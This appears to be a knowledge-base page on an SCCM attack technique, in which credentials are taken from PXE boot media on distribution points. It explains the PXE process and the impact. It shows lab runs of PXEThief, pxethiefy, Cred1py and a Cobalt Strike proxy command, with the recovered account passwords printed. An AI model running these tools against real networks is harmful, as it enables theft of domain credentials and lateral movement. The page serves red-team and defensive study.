Skip to main content

​
MITRE ATT&CK TTPs

​
Requirements

  • Unauthenticated network access
  • Line of sight to DHCP server (optional, but helps)
  • Line of sight to PXE-enabled distribution point

​
Summary

SCCM contains a preboot execution environment (PXE) feature which allows systems to load a specific operating system image on boot. When PXE is configured, SCCM will make various configuration changes to the distribution point (DP). Most notably, the PxeInstalled and IsPxe values under the HKLM\Software\Microsoft\SMS\DP registry key are set to 1. The boot images are then deployed from the site server to the DP’s file system at C:\RemoteInstall\. The three required components for PXE boot to work are: a PXE client, a DHCP server, and a PXE-enabled DP. A non-domain-joined computer (the PXE client in this case) that has network access could initiate the DHCP process, resulting in the PXE client receiving a DHCPPACK request containing the BootFileName location and Windows Deployment Services (WDS) network boot program (NBP). Next, the client initiates a TFTP session to download the NBP. The NBP contains several files and and programs that are used to boot the computer into a Windows Preinstallation Environment (WinPE). To Summarize this process, how PXE works in SCCM:
  1. PXE client gets an IP from DHCP server
  2. Client sends new DHCPREQUEST to DP, DP responds with DHCPACK that contains the BootFileName
  3. Client starts TFTP session targeting the boot file
  4. Client downloads the network boot program (NBP)
  5. NBP downloads the operating system loader and boot files
  6. The WinPE image is loaded into a RAMDISK in memory
  7. WinPE boots, loading a task sequence (TS) boot shell, TS manager boot strap (TsPxe.dll)
  8. TS environment variables and a client certificate are downloaded via TFTP
  9. TSPXE locates the MP and downloads policy assignments
  10. Collection and machine variables are downloaded
Note: This goes beyond the scope of this article, but Microsoft’s documentation covers it in more depth. This process can be abused because the files and policies can be accessed without booting the PXE media. By initiating the DHCPDISCOVER request, an attacker can locate the PXE media on the network, or they can contact a PXE-enabled DP directly if they know its name or IP address. If the PXE media stored there is password-protected, the hash can be retrieved and cracked offline using hashcat and this custom module from Christopher Panayi. If not protected, the cleartext data can be directly used. PXEThief and pxethiefy both enable and make it trivial to conduct this attack. Once the media file is decrypted, it may contain or be used to obtain credential material in the NAAConfig (network access account(NAA)), TaskSequence, and CollectionSettings (collection variables) policies.

​
Impact

Attackers may recover domain credentials from this process, the difficulty of which is a direct function of the complexity of the password set on the PXE media file. If a weak password is set, cracking the password is relatively computionally “easy,” depending on the hardware. With these credentials, attackers may transition from an unauthenticated context on the network to a domain-authenticated context. If any of the credentials recovered are privileged, it may also enable privilege escalation and lateral movement vectors.

​
Defensive IDs

​
Examples

​
PXEThief

It is now possible to locate a PXE-enabled DP, download the encrypted media variables file, recover the certificate and management point URL from the variables file, and request and deobfuscate policy secrets in one command from a Linux box with this PR to PXEThief by Nic Losby @Blurbdust: https://github.com/MWR-CyberSec/PXEThief/pull/11 
root@DEBIAN:/home/labadmin/PXEThief# python pxethief.py 2 192.168.57.50
________  ___    ___ _______  _________  ___  ___  ___  _______   ________
|\   __  \|\  \  /  /|\  ___ \|\___   ___\\  \|\  \|\  \|\  ___ \ |\  _____\
\ \  \|\  \ \  \/  / | \   __/\|___ \  \_\ \  \\\  \ \  \ \   __/|\ \  \__/
 \ \   ____\ \    / / \ \  \_|/__  \ \  \ \ \   __  \ \  \ \  \_|/_\ \   __\
  \ \  \___|/     \/   \ \  \_|\ \  \ \  \ \ \  \ \  \ \  \ \  \_|\ \ \  \_|
   \ \__\  /  /\   \    \ \_______\  \ \__\ \ \__\ \__\ \__\ \_______\ \__\
    \|__| /__/ /\ __\    \|_______|   \|__|  \|__|\|__|\|__|\|_______|\|__|
          |__|/ \|__|

[+] Generating and downloading encrypted media variables file from MECM server located at 192.168.57.50
[+] Using interface: eth0 - eth0
[+] Targeting user-specified host: 192.168.57.50

[+] Asking ConfigMgr for location to download the media variables and BCD files...

/home/labadmin/PXEThief/env/lib/python3.10/site-packages/scapy/sendrecv.py:726: SyntaxWarning: 'iface' has no effect on L3 I/O sr1(). For multicast/link-local see https://scapy.readthedocs.io/en/latest/usage.html#multicast
  warnings.warn(
Begin emission

Finished sending 1 packets
*
Received 1 packets, got 1 answers, remaining 0 packets

[!] Variables File Location: \SMSTemp\2024.10.18.16.34.38.0001.{F43C5F34-8623-40AA-88B1-875EED83DEDF}.boot.var
[!] BCD File Location: \SMSTemp\2024.10.18.16.34.36.06.{F43C5F34-8623-40AA-88B1-875EED83DEDF}.boot.bcd
[!] Blank password on PXE boot found!
[!] Attempting automatic exploitation.
[+] Media variables file to decrypt: 2024.10.18.16.34.38.0001.{F43C5F34-8623-40AA-88B1-875EED83DEDF}.boot.var
[+] Password bytes provided: 0x5300fdfff1ffbdff75008cff42001c000a00a1ff
[+] Successfully decrypted media variables file with the provided password!
[!] Writing media variables to variables.xml
[!] Writing _SMSTSMediaPFX to PS1_{09821541-3BE2-421C-AA13-D1E0AD_SMSTSMediaPFX.pfx. Certificate password is {09821541-3BE2-421C-AA13-D1E0AD
[+] Identifying Management Point URL from media variables (Subsequent requests may fail if DNS does not resolve!)
[+] Management Point URL set to: http://SITE-SERVER.APERTURE.LOCAL
[+] Generating Client Authentication headers using PFX File...
[+] CCMClientID Signature Generated
[+] CCMClientTimestamp Signature Generated
[+] ClientToken Signature Generated
[+] Retrieving x64UnknownMachineGUID from MECM MP...
[+] Requesting policy assignments from MP...
[+] 47 policy assignment URLs found!
[+] Requesting Network Access Account Configuration from: http://SITE-SERVER.APERTURE.LOCAL/SMS_MP/.sms_pol?{c6fe32fb-7e9c-4776-abe3-2a6d107447f1}.5_00
[+] Requesting Task Sequence Configuration from: http://SITE-SERVER.APERTURE.LOCAL/SMS_MP/.sms_pol?PS120003-PS100009-6F6BCC28.1_00

[+] Decrypting Network Access Account Configuration
[+] Extracting password from Decrypted Network Access Account Configuration

[!] Network Access Account Username: 'APERTURE\networkaccess'
[!] Network Access Account Password: 'SuperSecretPassword'
[!] Network Access Account Username: 'APERTURE\networkaccess'
[!] Network Access Account Password: 'SuperSecretPassword'

[+] Decrypting Task Sequence Configuration

[!] Successfully Decrypted TS_Sequence XML Blob in Task Sequence 'Task Sequence 1'!
[+] Attempting to automatically identify credentials in Task Sequence 'Task Sequence 1':

[!] Possible credential fields found!

In TS Step "Apply Windows Settings":
OSDRegisteredUserName - admin
OSDLocalAdminPassword - SuperSecretPassword

In TS Step "Apply Network Settings":
OSDJoinAccount - aperture\dja

​
Pxethiefy.py

Using pxethiefy from a Linux machine with network access to retrieve a PXE media file with no password set: 
testsubject4@sphere4:~$ sudo python3 pxethiefy.py explore -i eth0 -a atlas.aperture.local

[*] Querying Distribution Point: atlas.aperture.local
[*] Sending DHCP request to fetch PXE boot files at: atlas.aperture.local
--- Scapy output ---
.
Sent 1 packets.
[*] Variables File Location: \SMSTemp\2023.10.13.16.48.53.0001.{23F3F1E7-6083-4BB7-97D3-C7B890BADB71}.boot.var
[*] BCD File Location: \SMSTemp\2023.10.13.16.48.53.07.{23F3F1E7-6083-4BB7-97D3-C7B890BADB71}.boot.bcd
[*] Downloading var file '\SMSTemp\2023.10.13.16.48.53.0001.{23F3F1E7-6083-4BB7-97D3-C7B890BADB71}.boot.var' from TFTP server 'atlas.aperture.local'
[+] Blank password on PXE media file found!
[*] Attempting to decrypt it...
[+] Media variables file to decrypt: 2023.10.13.16.48.53.0001.{23F3F1E7-6083-4BB7-97D3-C7B890BADB71}.boot.var
[+] Password bytes provided: 0xb4ff3000ceff90fffbff4c00ceff89ffdcff4800
[+] Successfully decrypted media variables file with the provided password!
[+] Management Point: http://atlas.aperture.local
[+] Site Code: PS1
[+] You can use the following information with SharpSCCM in an attempt to obtain secrets from the Management Point..
  SharpSCCM.exe get secrets -i "{d10d7f98-17dd-4588-b645-34964936023b}" -m "{5F8225E8-6B94-4830-AD90-0F88FC2B3536}" -c "3082073E020103308206FA06092A864886F70D010701A08206EB048206E7308206E33082

<SNIP>

6C458FCF53D0A6D2DBA446F1C0414FAD1E03A89D8481E26D7C1BED1E71FDC3272C701020207D0" -s -c PS1 -mp atlas.aperture.local

​
Cred1py

Using Cred1py from a Linux machine over a UDP SOCKS5 proxy to retrieve the decryption key for a PXE media file: On Cobalt Strike, enable UDP SOCKS5 proxy on port 9090: 
socks 9090 socks5 enableNoAuth a b
Then execute Cred1py with: 
testsubject4@sphere4:~$ python3 ./main.py 10.0.1.200 10.0.2.4 TS-HOST 9090

​
References